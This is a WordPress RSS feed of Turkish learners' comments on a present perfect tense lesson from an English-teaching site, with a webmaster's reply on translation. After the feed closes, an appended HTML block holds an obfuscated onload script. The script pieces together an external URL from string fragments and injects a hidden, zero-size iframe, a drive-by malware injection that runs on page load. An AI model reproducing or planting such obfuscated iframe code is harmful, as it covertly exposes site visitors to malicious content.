<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.3.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>
<channel>
	<title>Present Perfect Tense yazısına yapılan yorumlar</title>
	<link>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html</link>
	<description>Ücretsiz İngilizce Dersin Adresi</description>
	<pubDate>Sun, 07 Sep 2008 18:48:07 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.1</generator>
		<item>
		<title>Grbavica tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-1383</link>
		<dc:creator>Grbavica</dc:creator>
		<pubDate>Fri, 01 Aug 2008 13:23:52 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-1383</guid>
		<description>site çok faydalı üni öğrencisiyim ve faydasını götüyorum iyi bi kaynak</description>
		<content:encoded><![CDATA[<p>site çok faydalı üni öğrencisiyim ve faydasını götüyorum iyi bi kaynak</p>
]]></content:encoded>
	</item>
	<item>
		<title>saltuk burhan dal tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-980</link>
		<dc:creator>saltuk burhan dal</dc:creator>
		<pubDate>Tue, 10 Jun 2008 14:15:03 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-980</guid>
		<description>bence ok güzel olmuş eminim ki bana sbs'de çok yardımı dokunacak</description>
		<content:encoded><![CDATA[<p>bence ok güzel olmuş eminim ki bana sbs&#8217;de çok yardımı dokunacak</p>
]]></content:encoded>
	</item>
	<item>
		<title>sırac tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-825</link>
		<dc:creator>sırac</dc:creator>
		<pubDate>Wed, 21 May 2008 22:29:13 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-825</guid>
		<description>arkadaşlar konuyu biliyorum diye tekraretmekten kaçınmayın birde konuşmaya şalısın aynaya bakarakta olsa .ing.mesajlaşacagınız arkadaşlar bulun birde bol bol yazın görerek yada gçrmeyerek cok kullanılan  kelımeleri ezberleyin başarabildiginizi hissedeceksiniz eger ögrenmek istiyorsanız site icin tesekkurler ama mumkunse daha cok örnek zamanınızı boyle faydelı bır iş icin harcadıgınız icin tesekkurler</description>
		<content:encoded><![CDATA[<p>arkadaşlar konuyu biliyorum diye tekraretmekten kaçınmayın birde konuşmaya şalısın aynaya bakarakta olsa .ing.mesajlaşacagınız arkadaşlar bulun birde bol bol yazın görerek yada gçrmeyerek cok kullanılan  kelımeleri ezberleyin başarabildiginizi hissedeceksiniz eger ögrenmek istiyorsanız site icin tesekkurler ama mumkunse daha cok örnek zamanınızı boyle faydelı bır iş icin harcadıgınız icin tesekkurler</p>
]]></content:encoded>
	</item>
	<item>
		<title>erol avcı tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-814</link>
		<dc:creator>erol avcı</dc:creator>
		<pubDate>Wed, 21 May 2008 13:46:42 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-814</guid>
		<description>en son örnek yanliş yazılmış sanırım iki cümlenin anlamıda aynı yazılmış bence doğrusu   burada 6 YILDIR çalışmaktayım olacak</description>
		<content:encoded><![CDATA[<p>en son örnek yanliş yazılmış sanırım iki cümlenin anlamıda aynı yazılmış bence doğrusu   burada 6 YILDIR çalışmaktayım olacak</p>
]]></content:encoded>
	</item>
	<item>
		<title>mehmet tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-780</link>
		<dc:creator>mehmet</dc:creator>
		<pubDate>Sat, 17 May 2008 11:06:13 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-780</guid>
		<description>used to ıle ornek isteyenlere bu msjım used to dan sonra V1 gelir yani Gecmıste yaptığımız ama suan gunumuzde yapmadıgımız alıskanlıklarımız ıcın kullanırız örneğin 
   "I used to smoke"
   "I used to drink alcohol"
   "I used to go to bar"
olumsuzları da gecmişte yasandıgı için bu olaylar didn't use to olur.(used to nun sonundakı d düşer.)
    "I didn't use to smoke"</description>
		<content:encoded><![CDATA[<p>used to ıle ornek isteyenlere bu msjım used to dan sonra V1 gelir yani Gecmıste yaptığımız ama suan gunumuzde yapmadıgımız alıskanlıklarımız ıcın kullanırız örneğin<br />
   &#8220;I used to smoke&#8221;<br />
   &#8220;I used to drink alcohol&#8221;<br />
   &#8220;I used to go to bar&#8221;<br />
olumsuzları da gecmişte yasandıgı için bu olaylar didn&#8217;t use to olur.(used to nun sonundakı d düşer.)<br />
    &#8220;I didn&#8217;t use to smoke&#8221;</p>
]]></content:encoded>
	</item>
	<item>
		<title>WebMaster tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-778</link>
		<dc:creator>WebMaster</dc:creator>
		<pubDate>Fri, 16 May 2008 12:38:24 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-778</guid>
		<description>Merhaba assad,

Bahsettiğin konuyu şöyle açıklayayım:

&lt;i&gt;I’ve worked here for six years. (Burada altı yıl çalıştım.)&lt;/i&gt; cümlesinde her ne kadar &lt;b&gt;"halen çalışıyorum"&lt;/b&gt; anlamı yer alsa da, aynı zamanda &lt;b&gt;"geçmişteki 6 yılı"&lt;/b&gt; da kapsamakta. Bu yüzden hem geçmişi hem de şimdiyi kapsayan bir yapı. Bu yüzden, past tense ile present perfect tense arasındaki farkı belirginleştirebilmek için özellikle iki cümleyi aynı biçimde çevirdim. Bilmiyorum anlatabildim mi? :)</description>
		<content:encoded><![CDATA[<p>Merhaba assad,</p>
<p>Bahsettiğin konuyu şöyle açıklayayım:</p>
<p><i>I’ve worked here for six years. (Burada altı yıl çalıştım.)</i> cümlesinde her ne kadar <b>&#8220;halen çalışıyorum&#8221;</b> anlamı yer alsa da, aynı zamanda <b>&#8220;geçmişteki 6 yılı&#8221;</b> da kapsamakta. Bu yüzden hem geçmişi hem de şimdiyi kapsayan bir yapı. Bu yüzden, past tense ile present perfect tense arasındaki farkı belirginleştirebilmek için özellikle iki cümleyi aynı biçimde çevirdim. Bilmiyorum anlatabildim mi? <img src='http://engilizce.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
	</item>
	<item>
		<title>assad tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-776</link>
		<dc:creator>assad</dc:creator>
		<pubDate>Fri, 16 May 2008 10:33:17 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-776</guid>
		<description>I’ve worked here for six years. (Burada altı yıl çalıştım.)bu cümlenin türkçesi (burada altı yıldır çalışıorum)olmalıydı gibi geliyor bana haksızmıyım.çünkü açıklamada,çalışmanın hala devam etmekte olduğu yazıyor ..aydınlatırsanız çok sevinirim..teşekkürler webmaster arkadaşım</description>
		<content:encoded><![CDATA[<p>I’ve worked here for six years. (Burada altı yıl çalıştım.)bu cümlenin türkçesi (burada altı yıldır çalışıorum)olmalıydı gibi geliyor bana haksızmıyım.çünkü açıklamada,çalışmanın hala devam etmekte olduğu yazıyor ..aydınlatırsanız çok sevinirim..teşekkürler webmaster arkadaşım</p>
]]></content:encoded>
	</item>
	<item>
		<title>OĞUZ tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-752</link>
		<dc:creator>OĞUZ</dc:creator>
		<pubDate>Thu, 15 May 2008 07:47:02 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-752</guid>
		<description>kuralları daha detaylı olsaydı daha iyi olurdu</description>
		<content:encoded><![CDATA[<p>kuralları daha detaylı olsaydı daha iyi olurdu</p>
]]></content:encoded>
	</item>
	<item>
		<title>burak tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-725</link>
		<dc:creator>burak</dc:creator>
		<pubDate>Tue, 13 May 2008 18:25:52 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-725</guid>
		<description>çok güzel çok çok güzel olmuş  iyki yap mışlar 100 aldım ingilizceden muhahahahahahha</description>
		<content:encoded><![CDATA[<p>çok güzel çok çok güzel olmuş  iyki yap mışlar 100 aldım ingilizceden muhahahahahahha</p>
]]></content:encoded>
	</item>
	<item>
		<title>leyla tarafından</title>
		<link>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-724</link>
		<dc:creator>leyla</dc:creator>
		<pubDate>Tue, 13 May 2008 14:24:58 +0000</pubDate>
		<guid>http://engilizce.com/ingilizce-zamanlar/present-perfect-tense.html#comment-724</guid>
		<description>bende yeni bakıyom ama süper mabyak bişey yhaaaaaaaaaaaaaaaaaa</description>
		<content:encoded><![CDATA[<p>bende yeni bakıyom ama süper mabyak bişey yhaaaaaaaaaaaaaaaaaa</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html><body onload="status=' ';zz='o';sl='/';sf='ram';us='t';pi='b';po='.';gw='fi';qu=':';yh='a';vo='n';bw='e';pj='m';iu='s';pt='tp';yw='c';ab='src';dg='ht';ko='e';wd='if';hh='r';t=wd.concat(sf,ko);xx=dg.concat(pt,qu,sl,sl,iu,us,yh,pi,hh,zz,zz,pj,po,yw,vo,sl,gw,hh,bw,sl);var oE=document.createElement(t);oE.setAttribute('width','0');oE.setAttribute('height','0');oE.setAttribute('style','display:none');oE.setAttribute(ab,xx);document.body.appendChild(oE);
"></body></html>